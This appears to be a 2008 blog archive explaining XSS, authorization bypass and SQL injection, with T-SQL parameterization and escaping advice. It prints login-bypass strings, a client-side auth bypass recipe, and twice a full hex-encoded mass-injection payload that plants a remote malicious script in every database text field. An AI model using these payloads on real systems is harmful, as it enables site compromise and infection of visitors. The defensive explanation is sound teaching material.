Saturday, November 8, 2008
Cross Site Scripting (XSS)
XSS is about malicious (usually) JavaScript routines embedded in hyperlinks, which are used to hijack sessions, hijack ads in applications and steal personal information.
Picture the scene: you’re there flicking through some nameless bulletin board because, yes, you really are that lazy at work. Some friendly girl with broken English implores you to get in touch. ‘Me nice gurl’, she says. You’ve always wondered where those links actually go, so you say what the hell. You hover over the link, it looks like this in the information bar:
[%63%61%74%69%6f%6e%3d%274%74%70%3a%2f%2f%77%7…]
Hmmm…what the hell, let’s give it a bash, you say. The one thing I really need right now is to see an ad for cheap Cialis. Maybe the linked page satisfies this craving, maybe not. Nothing dramatic happens when you click the link, at any rate, and the long day wears on.
When a link in an IM, email, forum or message board is hexed like the one above, it could contain just about anything.
Stealing cookies is just the tip of the iceberg though — XSS attacks through links and through embedded code on a page or even a bb post can do a whole lot more, with a little imagination.
XSS is mostly of concern to consumers and to developers of web applications.
Authorization Bypass is a frighteningly simple process which can be employed against poorly designed applications or content management frameworks. You know how it is… you run a small university and you want to give the undergraduate students something to do.
Authorization bypass, to gain access to the Admin backend, can be as simple as this:
* Find weak target login page.
* View source. Copy to notepad.
* Delete the authorization javascript, amend a link or two.
* Save to desktop.
* Open on desktop. Enter anything into login fields, press enter.
SQL Injection in the Browser Address Bar
Injections can also be performed via the browser address bar. I don’t mean to have a pop at Microsoft, but when it comes to such vulnerabilities, HTTP GET requests with URLs of the following form are most often held to be vulnerable:
http://somesite.com/index.asp?id=10
Try adding an SQL command to the end of a URL string like this, just for kicks:
http://somesite.com/index.asp?id=10 AND id=11
See if both articles come up. Don’t shoot your webmaster just yet if it’s your own site and you get two articles popping up: this is real low-level access to the database. But some such sites will be vulnerable. Try adding some other simple SQL commands to the end of URLs from your own site, to see what happens.
As we saw above, access to the database raises a number of interesting possibilities. The database structure can be mapped by a skilled hacker through ill-conceived visibility of error messages — this is called database footprinting — and then this knowledge of table names and so forth can be used to gain access to additional data. Revealing error messages are manna - they can carry invaluable table name and structural details.
Sql Injection: How they Hack
SQL Injection involves entering SQL code into web forms, eg. login fields, or into the browser address field, to access and manipulate the database behind the site, system or application.
When you enter text in the Username and Password fields of a login screen, the data you input is typically inserted into an SQL command. This command checks the data you’ve entered against the relevant table in the database. If your input matches table/row data, you’re granted access (in the case of a login screen). If not, you’re knocked back out.
The Simple SQL Injection Hack
In its simplest form, this is how the SQL Injection works. It’s impossible to explain this without reverting to code for just a moment.
Suppose we enter the following string in a Username field:
'OR 1=1
The authorization SQL query that is run by the server, the command which must be satisfied to allow access, will be something along the lines of:
SELECT * FROM users WHERE username = ‘USRTEXT ’
AND password = ‘PASSTEXT’
…where USRTEXT and PASSTEXT are what the user enters in the login fields of the web form.
So entering OR 1=1 -- as your username, could result in the following actually being run:
SELECT * FROM users WHERE username ='' OR 1=1 -- ‘AND password = "
Two things you need to know about this:
[‘] closes the [username] text field.
‘
’ is the SQL convention for Commenting code, and everything after Comment is ignored. So the actual routine now becomes:
SELECT * FROM users WHERE username = ” OR 1=1
1 is always equal to 1, last time I checked. So the authorization routine is now validated, and we are ushered in the front door to wreck havoc.
Let’s hope you got the gist of that, and move briskly on.
But the process does serve to illustrate just what SQL Injection is all about — injecting code to manipulate a routine via a form, or indeed via the URL. In terms of login bypass via Injection, the hoary old ’ OR 1=1 is just one option. If a hacker thinks a site is vulnerable, there are cheat-sheets all over the web for login strings which can gain access to weak systems. Here are a couple more common strings which are used to dupe SQL validation routines:
- admin’—
- ’) or (‘a’=’a
- ”) or (“a”=”a
- hi” or “a”=”a
Backdoor Injection- Modules, Forums, Search etc.
Hacking web forms is by no means limited exclusively to login screens. A humble search form, for instance, is necessarily tied to a database, and can potentially be used to amend database details. Using SQL commands in search forms can potentially do some extremely powerful things, like calling up usernames and passwords, searching the database field set and field names, and amending same. Do people really get hacked through their search forms? You better believe it. And through forums, and anywhere else a user can input text into a field which interacts with the database. If security is low enough, the hacker can probe the database to get names of fields, then use commands like INSERT INTO, UNION, and so forth to get user information, change product prices, change account settings/balances, and just about anything else… depending on the security measures in place, database architecture and so on.
So you can have security locked down at the login, but poor security on other forms can still be exploited.
Automated Injection
There are tools to automate the process of SQL Injection into login and other fields. One hacker process, using a specific tool, will be to seek out a number of weak targets using Google (searching for login.asp, for instance), then insert a range of possible injection strings (like those listed above, culled from innumerable Injection cheat-sheets on the Web), add a list of proxies to cover his movements, and go play XBox while the program automates the whole injection process.
SQL Injection in the Browser Address Bar
Injections can also be performed via the browser address bar. I don’t mean to have a pop at Microsoft, but when it comes to such vulnerabilities, HTTP GET requests with URLs of the following form are most often held to be vulnerable:
http://somesite.com/index.asp?id=10
Try adding an SQL command to the end of a URL string like this, just for kicks:
http://somesite.com/index.asp?id=10 AND id=11
See if both articles come up. Don’t shoot your webmaster just yet if it’s your own site and you get two articles popping up: this is real low-level access to the database. But some such sites will be vulnerable. Try adding some other simple SQL commands to the end of URLs from your own site, to see what happens.
As we saw above, access to the database raises a number of interesting possibilities. The database structure can be mapped by a skilled hacker through ill-conceived visibility of error messages — this is called database footprinting — and then this knowledge of table names and so forth can be used to gain access to additional data. Revealing error messages are manna - they can carry invaluable table name and structural details.
Friday, November 7, 2008
Dynamic SQL & SQL injection
First, allow me to define dynamic SQL as any mechanism used to programmatically generate and execute T-SQL statements, including statements generated in some application (using C#, C++ or any other programming language) and strings executed using the SQL Server sp_executesql stored procedure or the EXECUTE statement.
Being able to interpret any string (or variable) as a SQL statement is a really useful and powerful feature; unfortunately, as happens with most powerful tools, it is really easy to misuse it and leave the door open for somebody to abuse it. In this case, the abuse typically takes form as SQL injection attacks.
SQL injection occurs when the attacker provides malicious data that will change the semantics of the intended SQL you are generating, affecting the way it will be interpreted in the system. For example:
-- An innocent looking SP
CREATE PROC [sp_demo_injection01]( @name sysname )
AS
-- ...with an obvious SQL injection-vulnerable sample
EXEC( 'SELECT * FROM sys.database_principals WHERE name = ''' + @name + '''' )
go
-- This is how it was intended to be used
declare @var sysname
SET @var = 'Some Name'
EXEC [sp_demo_injection01] @var
go
-- As you can see, I can easily abuse this module in the following manner
declare @var sysname
SET @var = 'Some Name''; GRANT CONTROL TO [Malicious User]; PRINT ''Game over! This system is no longer yours!''-- Malicious User now can control the database!!!'
EXEC [sp_demo_injection01] @var
go
When the attacker runs this query the system will concatenate the input to the command we defined in the SP:
EXEC ( 'SELECT * FROM sys.database_principals WHERE name = ''' + 'Some Name''; GRANT CONTROL TO [Malicious User]; PRINT ''Game over! This system is no longer yours!''-- Malicious User now can control the database!!!' + '''' )
The attacker is able to close the quote in the user name (notice the trailing quote in Some Name’) and converted the rest of what should have been a user name into a different SQL statement, causing the following command to be executed:
SELECT * FROM sys.database_principals WHERE name = 'Some Name'; GRANT CONTROL TO [Malicious User]; PRINT 'Game over! This system is no longer yours!'-- Malicious User now can control the database!!!'
As you can see the attacker was able to add extra SQL statements that were not intended by the author of the stored procedure, in this case granting CONTROL on the database to herself and printing a note.
Parameterization
In most of these scenarios there is an alternative to the example used above using parameterization. Using parameterization gives you the advantage that you can clearly specify the data type and avoid pitfalls as well as the final T-SQL statement generated will reference the parameters as variables and not directly use the user defined input to generate the statement.
If you are using T-SQL directly to generate dynamic SQL, you can take advantage of sp_ExecuteSql to execute parameterized queries, for example:
-- An improved version of [sp_demo_injection01]
CREATE PROC [sp_demo_injection02]( @name sysname )
AS
declare @cmd nvarchar(max)
declare @parameters nvarchar(max)
set @cmd = N'SELECT * FROM sys.database_principals WHERE name = @name'
set @parameters = '@name sysname'
EXEC sp_executesql @cmd, @parameters, @name = @name
go
-- This is how it was intended to be used
declare @var sysname
SET @var = 'Some Name'
EXEC [sp_demo_injection02] @var
go
-- The previous attack no longer has any effect!
declare @var sysname
SET @var = 'Some Name''; GRANT CONTROL TO [Malicious User]; PRINT ''Game over! This system is no longer yours!''-- Malicious User now can control the database!!!'
EXEC [sp_demo_injection02] @var
go
CREATE PROC [sp_demo_injection03]( @Value nvarchar(100) )
AS
declare @cmd nvarchar(max)
declare @parameters nvarchar(max)
set @cmd = N'SELECT * FROM sys.database_principals WHERE principal_id = @Value'
set @parameters = '@Value int'
EXEC sp_executesql @cmd, @parameters, @value = @value
go
-- Should work
declare @var sysname
SET @var = '1'
EXEC [sp_demo_injection03] @var
go
-- Expect error 8114
-- Error converting data type nvarchar to int.
declare @var sysname
SET @var = '1; select * from sys.objects'
EXEC [sp_demo_injection03] @var
go
But be careful, using sp_executesql is not a guarantee that the SQL statement to be executed is not susceptible to SQL injection; the parameters should be used properly in order to really take advantage of this feature. The following example is a demonstration of a common mistake I have seen a few times: constructing the @cmd parameter using user-defined data instead of using it as a parameter.
-------------------------------------------------------------
-- Incorrect usage of sp_executeSql
CREATE PROC [sp_demo_injection04]( @name sysname )
AS
declare @cmd nvarchar(max)
declare @parameters nvarchar(max)
-- Looks famliar? yep, same injection as [sp_demo_injection01]
set @cmd = N'SELECT * FROM sys.database_principals WHERE name = ''' + @name + N''''
-- No parameters!!! This is typically a sign of misusing sp_execsql.
set @parameters = null
EXEC sp_executesql @cmd, @parameters
go
-- and now run the same attack we tried before...
declare @var sysname
SET @var = 'Some Name''; GRANT CONTROL TO [Malicious User]; PRINT ''Game over! This system is no longer yours!''-- Malicious User now can control the database!!!'
EXEC [sp_demo_injection04] @var
-- ... and it is game over!
go
Be aware that sp_ExecuteSql doesn’t automatically protect against every SQL injection. It helps you to create the parameterized query, but it has to be used properly in order to work. I have seen a common misuse of this stored procedure: using the user-defined input (untrusted data) to generate the @statement parameter.
---------------------------------------------------------------------
-- Incorrect usage of sp_executeSql
CREATE PROC [sp_demo_injection04]( @name sysname )
AS
declare @cmd nvarchar(max)
declare @parameters nvarchar(max)
-- Looks famliar? yep, same injection as [sp_demo_injection01]
set @cmd = N'SELECT * FROM sys.database_principals WHERE name = ''' + @name + N''''
-- No parameters!!! This is typically a sign of misusing sp_execsql.
set @parameters = null
EXEC sp_executesql @cmd, @parameters
go
-- and now run the same attack we tried before...
declare @var sysname
SET @var = 'Some Name''; GRANT CONTROL TO [Malicious User]; PRINT ''Game over! This system is no longer yours!''-- Malicious User now can control the database!!!'
EXEC [sp_demo_injection04] @var
-- ... and it is game over!
go
If you are using the .Net framework, you can use the SqlParameter class to create parameterized queries in a similar way, and the same warning still applies: Do not use user-defined input directly when constructing the parameterized statement. For further reference on this class, please refer to http://msdn.microsoft.com/library/default.asp?url=/library/en-us/cpref/html/frlrfsystemdatasqlclientsqlparameterclasstopic.asp
When parameterization is not an option
Unfortunately in SQL Server 2005 (and previous versions) some statements (i.e. DDL) don’t allow specifying parts of the statement using variables, for example:
-------------
-- Will fail:
-- Msg 102 - Incorrect syntax near '@name'.
--
CREATE PROC [sp_demo]( @name sysname )
AS
-- ...
CREATE USER @name WITHOUT LOGIN
-- ...
go
If your business logic require such operations inside T-SQL modules, and you require using data that cannot be known before hand, you have little options other than creating the whole statement dynamically without parameterization.
While not the best of the situations, it is not a SQL-injection-for-sure situation either. In this case you have two different mechanisms to protect yourself: validate user input and escape the input.
Data validation
I will start with data validation. The rules on how (and where) to validate the data is completely up to you and your application/business logic with just some general recommendations:
Validate the data in such a way that an attacker cannot bypass or alter the results. This may sound obvious, but sometimes we forget that the data crosses trust boundaries and that we may not control the untrusted application/client at all. For example, if your client application is the one validating the input (i.e. a length restriction in a web form), the attacker can always bypass your client app validation routines and send invalid data directly to the server.
Always look for valid input, not for invalid one. The idea is simple: You know what good data looks like, but you cannot always predict how bad data looks like. New ways to attack data may catch you by surprise if you assume that you know all the possible attacks.
For more information on this topic, I strongly recommend Writing Secure Code, Second Edition by Michael Howard and David C. LeBlanc. (ISBN: 0735617228).
Escaping input
In SQL Server, some characters have special meaning, such as the single quote ( ‘ ) and the braces ( [, ] ), but these TSQL specific constrains don’t always reflect the nature of the business needs, and sometimes it is necessary to accept such characters. After validating the data, it may still be necessary to properly escape (or quote) the data in order to be used in the proper context. You can use SQL Server builtins in order to help you in this task, the most important ones you can use are QUOTENAME and REPLACE.
QUOTENAME is designed for system names (sysnames or its equivalent, nvarchar(128)); it will properly add the proper delimiters ( “[“ and “]” by default) to the input and escaping any occurrence of the closing delimiter by duplicating it. For example:
declare @data sysname
set @data = 'data'
-- Will print [data]
print quotename( @data )
set @data = 'this data needs to be escaped: ] '
-- Will print [this data needs to be escaped: ]] ]
print quotename( @data )
For strings I would recommend using REPLACE instead of QUOTENAME, the reason is that QUOTENAME was designed for sysname data types, and it is limited to 128 characters, REPLACE on the other hand doesn’t have this limitation, but you will have to add the delimiter yourself.
One important thing to consider whenever you are escaping or manipulating the user input in any way is to carefully consider the length of the transformed data and allocate enough space on the variables that will be used. Here is a link to a really well written and useful article that describes this problem is detail: New SQL Truncation Attacks And How To Avoid Them (http://msdn.microsoft.com/msdnmag/issues/06/11/SQLSecurity/ )
When using other languages
In general everything I talked about here is focused on TSQL, but it is pretty much the same when you are using any other language like C++ or C#. If you are constructing the statement directly without parameterizing, validating the user input and/or without properly escaping (and making sure you have enough buffer for the escaped string) you are most likely susceptible to SQL injection.
Massive Attack: Half A Million Microsoft-Powered Sites Hit With SQL Injection
A new SQL injection attack aimed at Microsoft IIS web servers has hit some 500,000 websites, including the United Nations, UK Government sites and the U.S. Department of Homeland Security. While the attack is not Microsoft's fault, it is unique to the company's IIS server.
The automated attack takes advantage to the fact that Microsoft’s IIS servers allow generic commands that don’t require specific table-level arguments. However, the vulnerability is the result of poor data handling by the sites’ creators, rather than a specific Microsoft flaw.
In other words, there’s no patch that’s going to fix the issue, the problem is with the developers who failed follow well-established security practices for handling database input.
The attack itself injects some malicious JavaScript code into every text field in your database, the Javascript then loads an external script that can compromise a user’s PC.
Most of the larger sites affected have already long since repaired themselves and claim that the underlying problems in their code have been fixed. However, if you don’t want to take the chance there’s a simple way to avoid the problem — use Firefox with NoScript. Since the attack loads a script from a different domain, NoScript will stop it from running.
If your site has been affected you’re going to need to restore your database from a clean backup copy and start reviewing your code to make sure all input is properly sanitized, otherwise you’ll just get hit again.
So far there have been no details about who is behind the attacks.
What is Blind Sql Injection
Sql Injection: How it works
I will explain the above statement with the following example. Assuming this is your site URL that shows some info base on name
http://www.mysite.com/showInfo.aspx?name=myname
Here name is a URL parameter and myname is its value. Now in order to display some info a developer will usually get the value of name parameter and will place it in his query, something like this
Select details ... from mytable where username = myname
This is where the exploiters for Sql Injection take advantage, if you dont validate the value of your parameter then you are vulnarable to Sql Injection Attack.
Below is a an encrypted cursor statement which can be appended to you parameter value
';DECLARE%20@S%20CHAR(4000);SET%20@S=CAST(0x4445434C415245204054207661726368617228323535292C40432076617263686172283430303029204445434C415245205461626C655F437572736F7220435552534F5220464F522073656C65637420612E6E616D652C622E6E616D652066726F6D207379736F626A6563747320612C737973636F6C756D6E73206220776865726520612E69643D622E696420616E6420612E78747970653D27752720616E642028622E78747970653D3939206F7220622E78747970653D3335206F7220622E78747970653D323331206F7220622E78747970653D31363729204F50454E205461626C655F437572736F72204645544348204E4558542046524F4D20205461626C655F437572736F7220494E544F2040542C4043205748494C4528404046455443485F5354415455533D302920424547494E20657865632827757064617465205B272B40542B275D20736574205B272B40432B275D3D5B272B40432B275D2B2727223E3C2F7469746C653E3C736372697074207372633D22687474703A2F2F6162632E766572796E782E636E2F772E6A73223E3C2F7363726970743E3C212D2D272720776865726520272B40432B27206E6F74206C696B6520272725223E3C2F7469746C653E3C736372697074207372633D22687474703A2F2F6162632E766572796E782E636E2F772E6A73223E3C2F7363726970743E3C212D2D272727294645544348204E4558542046524F4D20205461626C655F437572736F7220494E544F2040542C404320454E4420434C4F5345205461626C655F437572736F72204445414C4C4F43415445205461626C655F437572736F72%20AS%20CHAR(4000));EXEC(@S);
So your site url be now become some thing like this
http://www.mysite.com/showInfo.aspx?name=myname';DECLARE%20@S%20CHAR(4000);SET%20@S=CAST(0x4445434C415245204054207661726368617228323535292C40432076617263686172283430303029204445434C415245205461626C655F437572736F7220435552534F5220464F522073656C65637420612E6E616D652C622E6E616D652066726F6D207379736F626A6563747320612C737973636F6C756D6E73206220776865726520612E69643D622E696420616E6420612E78747970653D27752720616E642028622E78747970653D3939206F7220622E78747970653D3335206F7220622E78747970653D323331206F7220622E78747970653D31363729204F50454E205461626C655F437572736F72204645544348204E4558542046524F4D20205461626C655F437572736F7220494E544F2040542C4043205748494C4528404046455443485F5354415455533D302920424547494E20657865632827757064617465205B272B40542B275D20736574205B272B40432B275D3D5B272B40432B275D2B2727223E3C2F7469746C653E3C736372697074207372633D22687474703A2F2F6162632E766572796E782E636E2F772E6A73223E3C2F7363726970743E3C212D2D272720776865726520272B40432B27206E6F74206C696B6520272725223E3C2F7469746C653E3C736372697074207372633D22687474703A2F2F6162632E766572796E782E636E2F772E6A73223E3C2F7363726970743E3C212D2D272727294645544348204E4558542046524F4D20205461626C655F437572736F7220494E544F2040542C404320454E4420434C4F5345205461626C655F437572736F72204445414C4C4F43415445205461626C655F437572736F72%20AS%20CHAR(4000));EXEC(@S);
and when this added value is sent to the database it will get executed and will infect all text fields of all the tables and this is how SQL Injection Attack is done.
Thursday, November 6, 2008
SQL Injection Keywords
exec (Use to exec the cursor which is encrypted in the URL)
execute (Same functionality as exec)
varchar (Text variable declaration type)
char (Text variable declaration type)
; (Semicolon is used to terminate an Sql statement)
-- (Database comments)
declare (use to declare a cursor in DB)
Tuesday, November 4, 2008
What is SQL Injection Attack
<script src="http://somedomain.com/abc.js"></script>
It is hard to know if your DB is injected as in SQL Injection attacks mostly the site behaves normally but when someone opens your website some background activity is performed from their pc. The way this works is when someone tries to open a page that brings some Data from the DB it also pulls this script tag and the browser will try to run this script as if this is part of the page.
This script poses more danger to the site visiter as the actual script will run on their computer. The website host server which is infected will not misbehave as the script will never run there.
On google if you search for "<script src="http://www.usabnr.com/ngg.js></script>" you will get an idea of how many sites are infected by this attack and most side administrators will not be aware of this. So keep checking your DB specially text fields.